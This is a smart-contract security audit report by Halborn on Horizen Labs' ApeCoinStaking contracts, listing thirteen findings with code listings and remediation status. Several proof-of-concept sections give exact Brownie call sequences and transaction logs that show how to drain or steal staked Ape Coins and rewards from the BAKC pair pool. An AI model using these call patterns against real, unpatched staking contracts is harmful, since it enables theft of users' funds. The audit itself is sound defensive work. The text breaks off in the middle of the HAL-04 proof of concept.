HALBORN

Horizen Labs - Grapes Staking

Smart Contract Security Audit

Prepared by: **Halborn**

Date of Engagement: **August 15th, 2022 - September 30th, 2022**

Visit: **Halborn.com**

DOCUMENT REVISION HISTORY

VERSION	MODIFICATION	DATE	AUTHOR
0.1	Document Creation	08/15/2022	Roberto Reigada
0.2	Document Updates	09/23/2022	Roberto Reigada
0.3	Draft Review	09/23/2022	Gabi Urrutia
1.0	Remediation Plan	10/03/2022	Roberto Reigada
1.1	Remediation Plan Review	10/04/2022	Gabi Urrutia
1.2	Document Updates	11/28/2022	Roberto Reigada
1.3	Document Updates Review	11/29/2022	Piotr Cielas
1.4	Document Updates Review	11/29/2022	Gabi Urrutia

CONTACTS

CONTACT	COMPANY	EMAIL
Rob Behnke	Halborn	Rob.Behnke@halborn.com
Steven Walbroehl	Halborn	Steven.Walbroehl@halborn.com
Gabi Urrutia	Halborn	Gabi.Urrutia@halborn.com
Piotr Cielas	Halborn	Piotr.Cielas@halborn.com
Roberto Reigada	Halborn	Roberto.Reigada@halborn.com

EXECUTIVE OVERVIEW

1.1 INTRODUCTION

Horizen Labs engaged Halborn to conduct a security audit on their smart contracts beginning on August 15th, 2022 and ending on October 4th, 2022. The security assessment was scoped to the smart contracts provided in the GitHub repository HorizenLabs/grapes-staking/.

1.2 AUDIT SUMMARY

The team at Halborn was provided 6 weeks for the engagement and assigned a full-time security engineer to audit the security of the smart contracts. The security engineer is a blockchain and smart-contract security expert with advanced penetration testing, smart-contract hacking, and deep knowledge of multiple blockchain protocols.

The purpose of this audit is to:

- Ensure that smart contract functions operate as intended
- Identify potential security issues with the smart contracts

In summary, Halborn identified some security risks that were mostly addressed by the Horizen Labs team.

1.3 TEST APPROACH & METHODOLOGY

Halborn performed a combination of manual and automated security testing to balance efficiency, timeliness, practicality, and accuracy in regard to the scope of this audit. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of the code and can quickly identify items that do not follow the security best practices. The following phases and associated tools were used during the audit:

- Research into architecture and purpose
- Smart contract manual code review and walkthrough
- Graphing out functionality and contract logic/connectivity/functions (solgraph)
- Manual assessment of use and safety for the critical Solidity variables and functions in scope to identify any arithmetic related vulnerability classes
- Manual testing by custom scripts
- Scanning of solidity files for vulnerabilities, security hot-spots or bugs. (MythX)
- Static Analysis of security for scoped contract, and imported functions. (Slither)
- Testnet deployment (Brownie, Remix IDE)

RISK METHODOLOGY:

Vulnerabilities or issues observed by Halborn are ranked based on the risk assessment methodology by measuring the **LIKELIHOOD** of a security incident and the **IMPACT** should an incident occur. This framework works for communicating the characteristics and impacts of technology vulnerabilities. The quantitative model ensures repeatable and accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the Risk scores. For every vulnerability, a risk level will be calculated on a scale of 5 to 1 with 5 being the highest likelihood or impact.

RISK SCALE - LIKELIHOOD

5 - Almost certain an incident will occur.
4 - High probability of an incident occurring.
3 - Potential of a security incident in the long term.
2 - Low probability of an incident occurring.
1 - Very unlikely issue will cause an incident.

RISK SCALE - IMPACT

5 - May cause devastating and unrecoverable impact or loss.
4 - May cause a significant level of impact or loss.

3 - May cause a partial impact or loss to many.
2 - May cause temporary impact or loss.
1 - May cause minimal or un-noticeable impact.

The risk level is then calculated using a sum of these two values, creating a value of 10 to 1 with 10 being the highest level of security risk.

10 - CRITICAL
9 - 8 - HIGH
7 - 6 - MEDIUM
5 - 4 - LOW
3 - 1 - VERY LOW AND INFORMATIONAL

1.4 SCOPE

IN-SCOPE:
The security assessment was scoped to the following smart contract:

- ApeCoinStaking.sol
- ApeCoinStakedVoting.sol

Initial Commit ID:
- 5d995f273ebd684c22ded70a66728d51936d5379

Fixed Commit ID:
- 80631eec49802396c8e4384dba46e4662a36516b

2. ASSESSMENT SUMMARY & FINDINGS OVERVIEW

CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL
5	1	1	2	4

LIKELIHOOD

IMPACT

(HAL-07)				(HAL-01) (HAL-02) (HAL-03) (HAL-04) (HAL-05)
(HAL-08) (HAL-09)				
				(HAL-06)
(HAL-10) (HAL-11) (HAL-12) (HAL-13)				

SECURITY ANALYSIS	RISK LEVEL	REMEDIATION DATE
HAL01 - UNDERFLOW MAY OCCUR DURING CLAIMS DUE TO LOSS OF PRECISION: REWARDS WILL BE LOCKED PERMANENTLY FOR SOME USERS	Critical	SOLVED - 09/28/2022
HAL02 - ALL THE APE COINS STAKED IN THE BAKC POOL CAN BE DRAINED BY ANY BAYC/MAYC HOLDER	Critical	SOLVED - 09/28/2022
HAL03 - APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL AFTER THE BAKC COMMITTED IS TRANSFERRED TO A NEW OWNER	Critical	SOLVED - 09/28/2022
HAL04 - APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL IF THE BAKC ID 0 IS TRANSFERRED	Critical	SOLVED - 09/28/2022
HAL05 - APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL IF THE BAKC ID 0 IS PAIRED WITH THE BAYC/MAYC WITH ID 0	Critical	SOLVED - 09/28/2022
HAL06 - NFT HOLDERS CAN ALLOW ANYONE TO STAKE INTO THE NFT POOLS THROUGH THE USE OF A SMART CONTRACT	High	RISK ACCEPTED
HAL07 - POOLS MAY GET LOCKED AFTER AN EMPTY CLAIM	Medium	SOLVED - 09/28/2022
HAL08 - UNSAFE TYPE CASTINGS	Low	SOLVED - 09/28/2022
HAL09 - CONTRACT DOES NOT ENFORCE THAT SETREWARDSPERTIMERANGE IS CALLED IN A CORRECT ORDER	Low	SOLVED - 09/28/2022
HAL10 - WITHDRAWAPECOIN FUNCTION DOES NOT AUTOMATICALLY CLAIM THE ACCRUED REWARDS	Informational	SOLVED - 09/28/2022
HAL11 - MINIMUM DEPOSIT AMOUNT CAN BE BYPASSED	Informational	ACKNOWLEDGED
HAL12 - LACK OF AN EMERGENCYWITHDRAW FUNCTION	Informational	ACKNOWLEDGED
HAL13 - MISSING REQUIRE STATEMENT IN WITHDRAW FUNCTION	Informational	SOLVED - 09/30/2022

FINDINGS & TECH DETAILS

3.1 (HAL-01) UNDERFLOW MAY OCCUR DURING CLAIMS DUE TO LOSS OF PRECISION: REWARDS WILL BE LOCKED PERMANENTLY FOR SOME USERS - CRITICAL

Description:

Currently, there is a known issue related to SushiSwap MasterChefV2 forks where user's transactions may revert when withdrawing & claiming.

The rewardDebt calculation logic may cause an integer underflow. rewardDebt gets updated in the _deposit(), _claim() and _withdraw() functions. It gets updated based on the change in the amount of Ape Coins staked in the pool.

Although, the update logic is not "path-independent". Each rewardDebt subtraction in _withdraw() always gets rounded down.

Multiple withdrawals can end up causing the actual rewardDebt to be "higher" than it should be. This could cause the pendingRewards() call to overflow and users to not be able to claim their rewards from the staking pools as the contract would not have enough balance of Ape Coins.

Using the SafeCast library, as it is recommended in the HAL06 finding, would prevent the overflow but the claim() would still revert.

Proof of Concept:

In order to achieve the result in the screenshot, some fuzzing was performed. Basically, the rewards for the Ape Coin pool were configured this way:

```
contract_ApeCoinStaking.setRewardsPerTimeRange(0, 1000_000000000000000000
, 1672531200, 1672567200, 0, {'from': owner})
```

```
contract_ApeCoinStaking.setRewardsPerTimeRange(0, 100_000000000000000000
, 1672567200, 1672603200, 0, {'from': owner})

contract_ApeCoinStaking.setRewardsPerTimeRange(0, 10_000000000000000000
, 1672603200, 1672639200, 0, {'from': owner})

contract_ApeCoinStaking.setRewardsPerTimeRange(0, 1_000000000000000000,
 1672639200, 1672675200, 0, {'from': owner})
```

User1 staked 100_123456789012345678 Ape Coins into the Ape pool before the first quarter started.
User2 staked 100_123456789012345678 Ape Coins into the Ape pool before the first quarter started.

Created the following loop with 40 iterations (10 hours per quarter, 4 quarters):

Listing 1: Fuzzing script

```
for i in range(40):
    print()
    output.greenn("Calling -> chain.sleep(3601)")
    chain.sleep(3601)
    output.greenn("Calling -> chain.sleep(1)")
    chain.mine(1)
    print("\n")
    value1 = randint(1, 10)
    valueToWithdraw = randint(1_000000000000000000, 2
↳ _000000000000000000)
    if (value1 > 5):
        output.yelloww("Calling -> contract_ApeCoinStaking.
↳ withdrawApeCoin(" + str(valueToWithdraw) + ", user1, {'from':
↳ user1})")
        contract_ApeCoinStaking.withdrawApeCoin(valueToWithdraw,
↳ user1, {'from': user1})
        output.yelloww("Calling -> contract_ApeCoinStaking.
↳ claimApeCoin(user1.address, {'from': user1})")
        contract_ApeCoinStaking.claimApeCoin(user1.address, {'from
↳ ': user1})
    value2 = randint(1, 10)
    if (value2 > 5):
        output.yelloww("Calling -> contract_ApeCoinStaking.
↳ withdrawApeCoin(" + str(valueToWithdraw) + ", user2, {'from':
```

```
↳ user2})")
18          contract_ApeCoinStaking.withdrawApeCoin(valueToWithdraw,
↳ user2, {'from': user2})
19          output.yelloww("Calling -> contract_ApeCoinStaking.
↳ claimApeCoin(user2.address, {'from': user2})")
20          contract_ApeCoinStaking.claimApeCoin(user2.address, {'from
↳ ': user2})
21      output.redd("contract_ApeCoinStaking.pendingRewards(0, user1,
↳ 0) -> " + str(contract_ApeCoinStaking.pendingRewards(0, user1, 0))
↳ )
22      output.redd("contract_ApeCoinStaking.pendingRewards(0, user2,
↳ 0) -> " + str(contract_ApeCoinStaking.pendingRewards(0, user2, 0))
↳ )
```

```
Calling -> contract_ApeCoinStaking.withdrawApeCoin(1189766323668830787, user2, {'from': user2})
Transaction sent: 0xc4cc8a1a0e2dfb28bead3e04d85a859d4b285afa8a9983a74764ac2a8756d2af
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 36
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15434490   Gas used: 94807 (0.02%)

Calling -> contract_ApeCoinStaking.claimApeCoin(user2.address, {'from': user2})
Transaction sent: 0x99a69cc770479be04e2c399e29ff6c85c06da5225fc1ec1e8593b1c7ec22b530
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 37
  ApeCoinStaking.claimApeCoin confirmed (ERC20: transfer amount exceeds balance)   Block: 15434491   Gas used: 68671 (0.01%)

contract_ApeCoinStaking.pendingRewards(0, user1, 0) -> 0
contract_ApeCoinStaking.pendingRewards(0, user2, 0) -> 1157920892373161954235709850086879078532699846656405640394575840079131296399 35

Calling -> chain.sleep(3601)
Calling -> chain.sleep(1)


Calling -> contract_ApeCoinStaking.withdrawApeCoin(1450176693174492652, user1, {'from': user1})
Transaction sent: 0x5810f65d6ec93d510850aa08550f2938edf11aca60c7dedb647ce7cdbe25602b
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 44
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15434493   Gas used: 94819 (0.02%)

Calling -> contract_ApeCoinStaking.claimApeCoin(user1.address, {'from': user1})
Transaction sent: 0x3664e7ec51b427670428c8f756eb4dc8766c91182112ccccbb543b82bbf50152
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 45
  ApeCoinStaking.claimApeCoin confirmed (ERC20: transfer amount exceeds balance)   Block: 15434494   Gas used: 68671 (0.01%)

Calling -> contract_ApeCoinStaking.withdrawApeCoin(1450176693174492652, user2, {'from': user2})
Transaction sent: 0x54f9abbca6ced7619b434db1803768789eb2f5d88555ca09233ef64ae01238a5
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 38
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15434495   Gas used: 94819 (0.02%)

Calling -> contract_ApeCoinStaking.claimApeCoin(user2.address, {'from': user2})
Transaction sent: 0x322470fa224e2815f978b42750a1b1d4a739a76bcd2bc27bcb18b3f89015aad7
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 39
  ApeCoinStaking.claimApeCoin confirmed (ERC20: transfer amount exceeds balance)   Block: 15434496   Gas used: 68671 (0.01%)

contract_ApeCoinStaking.pendingRewards(0, user1, 0) -> 1157920892373161954235709850086879078532699846656405640394575840079131296399 35
contract_ApeCoinStaking.pendingRewards(0, user2, 0) -> 1157920892373161954235709850086879078532699846656405640394575840079131296399 35
contract_ApeCoin.balanceOf(user1) -> 5355487279256320817 14
contract_ApeCoin.balanceOf(user2) -> 5339627305064865751 80

Calling -> contract_ApeCoinStaking.withdrawApeCoin(686205222656850064 90, user1, {'from': user1})
Transaction sent: 0x73434b40aef38481092c0825f1ca9f1531574eba84e595ec0747982c8287ae39
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 46
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15434497   Gas used: 79831 (0.01%)

Calling -> contract_ApeCoinStaking.withdrawApeCoin(731149328802210257 07, user2, {'from': user2})
Transaction sent: 0xc68ace0031cfb84027c7d7975a9ad290cebdfcbb78a67af75e6b51bf965dfd18
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 40
  ApeCoinStaking.withdrawApeCoin confirmed   Block: 15434498   Gas used: 64831 (0.01%)

contract_ApeCoin.balanceOf(user1) -> 6041692501913170882 04
contract_ApeCoin.balanceOf(user2) -> 6070776633867076008 87
```

Recommendation:

It is recommended to use the NomiChef's original MasterChef's rewardDebt logic.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue. Precision is not lost now each time a `withdraw()` is performed, since the division was removed from the `rewardsDebt` calculation.

3.2 (HAL-02) ALL THE APE COINS STAKED IN THE BAKC POOL CAN BE DRAINED BY ANY BAYC/MAYC HOLDER - CRITICAL

Description:

The ApeCoinStaking contract implements 4 different pools:
- ApeCoin pool
- BAYC pool
- MAYC pool
- Pair pool (BAKC)

In order to stake in the Pair pool, users should first commit a BAYC/BAKC or a MAYC/BAKC pair.

A paired BAKC NFT may change ownership before uncommitting from the ApeCoinStaking contract. In this edge case of a split pair, the following rules were implemented:

- Both owners (the current owner of one NFT and the new owner of the other NFT) can uncommit.
- Upon uncommitting the amount of Ape Coins staked is given to the BAYC/MAYC owner and the accrued rewards are given to the BAKC owner.
- The user that performs the uncommitting will obviously pay the gas costs.

A pair is committed through the depositBAKC() function:

Listing 2: ApeCoinStaking.sol (Lines 205,206)

```
197 /**
198  * @dev Commits/Deposits $APE to pairs in the BAKC pool.
199  * Expects an input array of pair Token IDs/amount of $APE to
 ↳ deposit for each pair.
200  * - `_baycPairs`: Array for BAYC/BAKC pairs
```

```
201  * - `_maycPairs`: Array for MAYC/BAKC pairs
202  */
203 function depositBAKC(PairNftWithAmount[] calldata _baycPairs,
 ↳ PairNftWithAmount[] calldata _maycPairs) external {
204     updatePool(BAKC_POOL_ID);
205     _depositPairNft(BAYC_POOL_ID, _baycPairs);
206     _depositPairNft(MAYC_POOL_ID, _maycPairs);
207 }
```

Listing 3: ApeCoinStaking.sol (Lines 640,641)

```
628 function _depositPairNft(uint256 mainTypePoolId, PairNftWithAmount
 ↳ [] calldata _nfts) private {
629     for(uint i; i < _nfts.length; ++i) {
630         uint256 mainTokenId = _nfts[i].mainTokenId;
631         uint256 bakcTokenId = _nfts[i].bakcTokenId;
632         uint256 amount = _nfts[i].amount;
633         Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenId];
634 
635         if(position.stakedAmount == 0) {
636             require(nftContracts[mainTypePoolId].ownerOf(
 ↳ mainTokenId) == msg.sender && !mainToBakc[mainTypePoolId][
 ↳ mainTokenId].isPaired
637             , "Main Token not owned by caller or already paired");
638             require(nftContracts[BAKC_POOL_ID].ownerOf(bakcTokenId
 ↳ ) == msg.sender && !bakcToMain[bakcTokenId][mainTypePoolId].
 ↳ isPaired
639             ,"BAKC Token not owned by caller or already paired");
640             mainToBakc[mainTypePoolId][mainTokenId] =
 ↳ PairingStatus(bakcTokenId, true);
641             bakcToMain[bakcTokenId][mainTypePoolId] =
 ↳ PairingStatus(mainTokenId, true);
642         } else {
643             require(mainTokenId == bakcToMain[bakcTokenId][
 ↳ mainTypePoolId].tokenId, "BAKC Token already paired");
644         }
645 
646         _depositNftGuard(BAKC_POOL_ID, position, amount);
647         emit DepositPairNft(msg.sender, amount, mainTypePoolId,
 ↳ mainTokenId, bakcTokenId);
648     }
649 }
650 
```

```
651 function _depositNftGuard(uint256 _poolId, Position storage
 ↳ _position, uint256 _amount) private {
652     require(_amount >= MIN_DEPOSIT, "Can't deposit less than 1
 ↳ $APE");
653     require(_amount + _position.stakedAmount
654         <= pools[_poolId].rewardsPerHourInRanges[pools[_poolId].
 ↳ lastRewardsRangeIndex].capPerPosition, "Can't stake more than cap
 ↳ amount");
655
656     _deposit(_poolId, _position, _amount);
657 }
```

As we can see, the contract stores in the mainToBakc and bakcToMain mappings the respective pair of each of the NFTs.

Although, these mappings are not properly validated during the withdrawal:

Listing 4: ApeCoinStaking.sol (Lines 344,345)

```
339 /**
340  * @dev Uncommits/Withdraws given amount of staked $APE from NFTs
 ↳ in BAKC Pool.
341  */
342 function withdrawBAKC(PairNftWithAmount[] calldata _baycPairs,
 ↳ PairNftWithAmount[] calldata _maycPairs) external {
343     updatePool(BAKC_POOL_ID);
344     _withdrawPairNft(BAYC_POOL_ID, _baycPairs);
345     _withdrawPairNft(MAYC_POOL_ID, _maycPairs);
346 }
```

Listing 5: ApeCoinStaking.sol

```
726 function _withdrawPairNft(uint256 mainTypePoolId,
 ↳ PairNftWithAmount[] calldata _nfts) private {
727     for(uint i; i < _nfts.length; ++i) {
728         uint256 mainTokenId = _nfts[i].mainTokenId;
729         uint256 bakcTokenId = _nfts[i].bakcTokenId;
730         uint256 amount = _nfts[i].amount;
731         address mainTokenOwner = nftContracts[mainTypePoolId].
 ↳ ownerOf(mainTokenId);
732         address bakcOwner = nftContracts[BAKC_POOL_ID].ownerOf(
 ↳ bakcTokenId);
```

```
733
734         require(mainTokenOwner == msg.sender || bakcOwner == msg.
 ↳ sender, "At least one token in pair must be owned by caller");
735
736         Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenId];
737         require(mainTokenOwner == bakcOwner || amount == position.
 ↳ stakedAmount, "Split pair can't partially withdraw");
738
739         if (amount == position.stakedAmount) {
740             uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID,
 ↳ position, bakcOwner);
741             mainToBakc[mainTypePoolId][mainTokenId].isPaired =
 ↳ false;
742             bakcToMain[bakcTokenId][mainTypePoolId].isPaired =
 ↳ false;
743             emit ClaimRewardsPairNft(msg.sender,
 ↳ rewardsToBeClaimed, mainTypePoolId, mainTokenId, bakcTokenId);
744         }
745         _withdraw(BAKC_POOL_ID, position, amount, mainTokenOwner);
746         emit WithdrawPairNft(msg.sender, amount, mainTypePoolId,
 ↳ mainTokenId, bakcTokenId);
747     }
748 }
```

Proof of Concept:

User1 with the mock address 0x0000000000000000000000000000000000000101 owns the BAYC NFT #7337 AND BAKC NFT #851.
User2 with the mock address 0x0000000000000000000000000000000000000102 owns the BAYC NFT #8523.

1. User1 commits BAYC #7337 and BAKC #851 and stakes 100 Ape Coins in the BAKC pool through the depositBAKC() function.
2. User2 calls withdrawBAKC([(8523, 851, 100_000000000000000000)], []) . He only owns the BAYC #8523 but as the smart contract just checks the ownership of one of the NFTs of the pair and also does not check if that BAKC is actually paired to the BAYC passed, user2 can unstake the Ape Coins previously staked by user1.
3. This could be repeated with any BAKC pair staked in the pool.

```
contract_BAYC.ownerOf(7337) -> 0x0000000000000000000000000000000000000101
contract_BAYC.ownerOf(8523) -> 0x0000000000000000000000000000000000000102
contract_MAYC.ownerOf(4891) -> 0x0000000000000000000000000000000000000102
contract_KEN.ownerOf(851) -> 0x0000000000000000000000000000000000000101
contract_KEN.ownerOf(860) -> 0x0000000000000000000000000000000000000102
contract_ApeCoin.balanceOf(user1) -> 100000000000000000000
contract_ApeCoin.balanceOf(user2) -> 100000000000000000000

Calling -> contract_ApeCoin.approve(contract_ApeCoinStaking.address, 100_000000000000000000, {'from': user1})
Transaction sent: 0xef7d8dabf98ca9cd4414a032f745295178e8cb9fac2fcb0e05dbb365cfbb2baa
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 0
  APECOIN.approve confirmed   Block: 15408367   Gas used: 44163 (0.01%)

Calling -> contract_ApeCoinStaking.depositBAKC([(7337, 851, 100_000000000000000000)], [], {'from': user1})
Transaction sent: 0xe9a9de39b5ddd9c437256e46ca5a2936fd38042dc1f0e875c73452d6e40422cc
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 1
  ApeCoinStaking.depositBAKC confirmed   Block: 15408368   Gas used: 164998 (0.03%)

contract_ApeCoinStaking.stakedTotal(user1) -> 100000000000000000000
contract_ApeCoin.balanceOf(user2) -> 100000000000000000000

Calling -> contract_ApeCoinStaking.withdrawBAKC([(8523, 851, 100_000000000000000000)], [], {'from': user2})
Transaction sent: 0x45519a097bf580d35fd0b00474aa41dec0044778f687a50377bb5fb91c71b7e5
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 0
  ApeCoinStaking.withdrawBAKC confirmed   Block: 15408369   Gas used: 46130 (0.01%)

contract_ApeCoinStaking.stakedTotal(user1) -> 0
contract_ApeCoin.balanceOf(user2) -> 200000000000000000000
>>> calltrace(tx2)
Call trace for '0x45519a097bf580d35fd0b00474aa41dec0044778f687a50377bb5fb91c71b7e5':
Initial call cost  [-24002 gas]
ApeCoinStaking.withdrawBAKC  0:2490  [-41367 / -19868 gas]
├── BAYC.ownerOf  [STATICCALL]  414:653  [3984 gas]
│    ├── address: 0xBC4CA0EdA7647A8aB7C2061c2E118A18a936f13D
│    └── input arguments:
│        └── tokenId: 8523
│
├── KEN.ownerOf  [STATICCALL]  777:1020  [2362 gas]
│    ├── address: 0xba30E5F9Bb24caa003E9f2f0497Ad287FDF95623
│    └── input arguments:
│        └── tokenId: 851
│
└── APECOIN.transfer  [CALL]  1932:2227  [15153 gas]
     ├── address: 0x4d224452801ACEd8B2F0aebE155379bb5D594381
     ├── value: 0
     └── input arguments:
         ├── recipient: user2.address
         └── amount: 100000000000000000000
```

Risk Level:

Likelihood - 5

Impact - 5

Recommendation:

It is recommended to validate that the NFTs passed to the withdrawBAKC() function call are paired.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue. The ApeCoinStaking smart contract now verifies that the NFT IDs passed to withdrawBAKC() are correctly paired.

3.3 (HAL-03) APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL AFTER THE BAKC COMMITTED IS TRANSFERRED TO A NEW OWNER - CRITICAL

Description:

Related to the BAKC pool and according to the documentation provided, when a BAYC/BAKC or MAYC/BAKC pair is split (e.g. the BAKC is sold to another user) the only functions available are uncommitting and depositing. Other functions (such as withdrawing and claiming) will be disabled in the smart contract. If a user stores one pair in a different wallet, that user will not be able to claim rewards and must uncommit first.

To implement this, the ApeCoinStaking contract has the following require statements in the claimPairNft() function:

Listing 6: ApeCoinStaking.sol (Lines 691,692)

```
684 function _claimPairNft(uint256 mainTypePoolId, PairNft[] calldata
 ↳ _pairs, address _recipient) private {
685     for(uint i; i < _pairs.length; ++i) {
686         uint256 mainTokenId = _pairs[i].mainTokenId;
687         uint256 bakcTokenID = _pairs[i].bakcTokenId;
688 
689         Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenID];
690 
691         require(nftContracts[mainTypePoolId].ownerOf(mainTokenId)
 ↳ == msg.sender, "Main Token not owned by caller");
692         require(nftContracts[BAKC_POOL_ID].ownerOf(bakcTokenID) ==
 ↳  msg.sender, "BAKC Token not owned by caller");
693 
694         uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID, position
 ↳ , _recipient);
695         emit ClaimRewardsPairNft(msg.sender, rewardsToBeClaimed,
 ↳ mainTypePoolId, mainTokenId, bakcTokenID);
```

```
696     }
697 }
```

As happened already in the HAL-01 issue, the mainToBakc and bakcToMain mappings are not validated during the claimBAKC() call.

Proof of Concept:

User1 with the mock address 0x0000000000000000000000000000000000000101 owns the BAYC NFT #7337 AND BAKC NFT #851.
User2 with the mock address 0x0000000000000000000000000000000000000102 owns the BAYC NFT #8523.

1. User1 commits BAYC #7337 and BAKC #851 and stakes 100 Ape Coins in the BAKC pool through the depositBAKC() function: contract_ApeCoinStaking.depositBAKC([(7337, 851, 100_000000000000000000)], [], {'from': user1})
2. Some time passes, user1 has accrued a lot of Ape Coin rewards.
3. User1 sells his BAKC #851 to user2.
4. User2 which already owned BAYC #8523, claims the Ape Coin rewards of the BAKC #851 by calling the claimBAKC() but using his own BAYC #8523 as its pair. contract_ApeCoinStaking.claimBAKC([(8523, 851)], [], user2.address, {'from': user2})
5. User2 has stolen the Ape Coin staked by user1 plus the rewards (rewards are intended as user2 now owns the BAKC NFT).

```
Calling -> contract_ApeCoinStaking.depositBAKC([(7337, 851, 100 000000000000000000)], [], {'from': user1})
Transaction sent: 0x5bdf03404dc4af68f6257dacc4a570cf04ea1f170cbc98099c4e6de575ce8f4f
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 1
  ApeCoinStaking.depositBAKC confirmed   Block: 15408428   Gas used: 164998 (0.03%)

contract_ApeCoinStaking.stakedTotal(user1) -> 100000000000000000000

Calling -> chain.sleep(11088902)
Calling -> chain.mine(1)          SLEEPING UNTIL THE FIRST Q1 STARTS


contract_ApeCoinStaking.pendingRewards(0, user1, 0) -> 0

Calling -> chain.sleep(86400*90)
Calling -> chain.mine(1)          SLEEPING 3 MONTHS


contract_ApeCoinStaking.pendingRewards(3, user1, 851) -> 1342249999999999999999900
contract_ApeCoinStaking.stakedTotal(user1) -> 100000000000000000000
contract_ApeCoinStaking.stakedTotal(user2) -> 0
contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user2) -> 100000000000000000000

Calling -> contract_KEN.transferFrom(user1.address, user2.address , 851, {'from': user1})
Transaction sent: 0x974b9a9497c4271a57d0e53efb4f1f6a9aff405d3dbbe57ee2ded128caf81498
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 2
  KEN.transferFrom confirmed   Block: 15408431   Gas used: 46831 (0.01%)

Calling -> contract_ApeCoinStaking.claimBAKC([(8523, 851)], [], user2.address, {'from': user2})
Transaction sent: 0x2acaba15e590ed45f436caf5fb5e02f5c9568b9fa865077ce9c79836e3b6b73e
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 0
  ApeCoinStaking.claimBAKC confirmed   Block: 15408432   Gas used: 132878 (0.02%)

contract_ApeCoinStaking.pendingRewards(3, user1, 851) -> 0
contract_ApeCoinStaking.stakedTotal(user1) -> 0
contract_ApeCoinStaking.stakedTotal(user2) -> 100000000000000000000
contract_ApeCoin.balanceOf(user1) -> 0
contract_ApeCoin.balanceOf(user2) -> 134234999999999999999900
```

Risk Level:

Likelihood - 5
Impact - 5

Recommendation:

It is recommended to validate that the NFTs passed to the claimBAKC() function call are paired.

Remediation Plan:

SOLVED: The Horizen Labs team solved the issue. The ApeCoinStaking smart contract now verifies that the NFT IDs passed to claimBAKC() are correctly paired.

3.4 (HAL-04) APE COINS STAKED AND ACCRUED REWARDS CAN BE STOLEN FROM THE BAKC POOL IF THE BAKC ID 0 IS TRANSFERRED - CRITICAL

Description:

As a fix to the HAL-02 issue, the following update was done in the _claimPairNft() function:

Listing 7: ApeCoinStaking.sol (Line 708)

```
699 function _claimPairNft(uint256 mainTypePoolId, PairNft[] calldata
 ↳ _pairs, address _recipient) private {
700     for(uint i; i < _pairs.length; ++i) {
701         uint256 mainTokenId = _pairs[i].mainTokenId;
702         uint256 bakcTokenId = _pairs[i].bakcTokenId;
703 
704         Position storage position = nftPosition[BAKC_POOL_ID][
 ↳ bakcTokenId];
705 
706         require(nftContracts[mainTypePoolId].ownerOf(mainTokenId)
 ↳ == msg.sender, "Main Token not owned by caller");
707         require(nftContracts[BAKC_POOL_ID].ownerOf(bakcTokenId) ==
 ↳  msg.sender, "BAKC Token not owned by caller");
708         require(mainToBakc[mainTypePoolId][mainTokenId].tokenId ==
 ↳  bakcTokenId, "The given main NFT is not paired with given BAKC
 ↳ NFT");
709 
710         uint256 rewardsToBeClaimed = _claim(BAKC_POOL_ID, position
 ↳ , _recipient);
711         emit ClaimRewardsPairNft(msg.sender, rewardsToBeClaimed,
 ↳ mainTypePoolId, mainTokenId, bakcTokenId);
712     }
713 }
```

This is also exploitable but only with the BAKC #0 (BAKC collection, unluckily, starts on this ID). The exploit is possible because the mainToBakc[mainTypePoolId][mainTokenId].tokenId mapping will be

initialized with 0 by the Solidity compiler.

On the other hand, note that initially it can only be exploited with BAKC #0. But later on, after some NFT uncommitments, it may happen with any NFT ID, as the smart contract does not "reset/delete" the `mainToBakc[mainTypePoolId][mainTokenId]` mapping after an NFT uncommitment, the contract just sets `mainToBakc[mainTypePoolId][mainTokenId].isPaired` to `false`.

Proof of Concept:

User1 with the mock address `0x0000000000000000000000000000000000000101` owns the BAYC NFT #7337 AND BAKC NFT #0.
User2 with the mock address `0x0000000000000000000000000000000000000102` owns the BAYC NFT #8523.

1. User1 commits BAYC #7337 and BAKC #0 and stakes 100 Ape Coins in the BAKC pool through the `depositBAKC()` function:
   `contract_ApeCoinStaking.depositBAKC([(7337, 0, 100_000000000000000000)], [], {'from': user1})`
2. Some time passes, user1 has accrued a lot of Ape Coin rewards.
3. User1 sells his BAKC #0 to user2.
4. User2 which already owned BAYC #8523, claims the Ape Coin rewards of the BAKC #0 by calling the `claimBAKC()` but using his own BAYC #8523 as its pair.
   `contract_ApeCoinStaking.claimBAKC([(8523, 0)], [], user2.address, {'from': user2})`
5. User2 has stolen the Ape Coin staked by user1 plus the rewards (rewards are intended as user2 now owns the BAKC NFT).

```
Calling -> contract_ApeCoinStaking.depositBAKC([(7337, 0, 100_000000000000000000)], [], {'from': user1})
Transaction sent: 0x39399d9efddc55ee4d7abda3296e6699e0e645331dbe22156a2d8491171e9974
  Gas price: 0.0 gwei   Gas limit: 600000000   Nonce: 1
